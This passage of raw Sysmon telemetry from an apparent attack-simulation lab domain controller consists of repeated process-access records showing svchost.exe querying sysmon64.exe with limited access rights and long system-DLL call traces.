C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1460,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1461,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1462,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1463,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1464,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1465,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1466,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1467,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 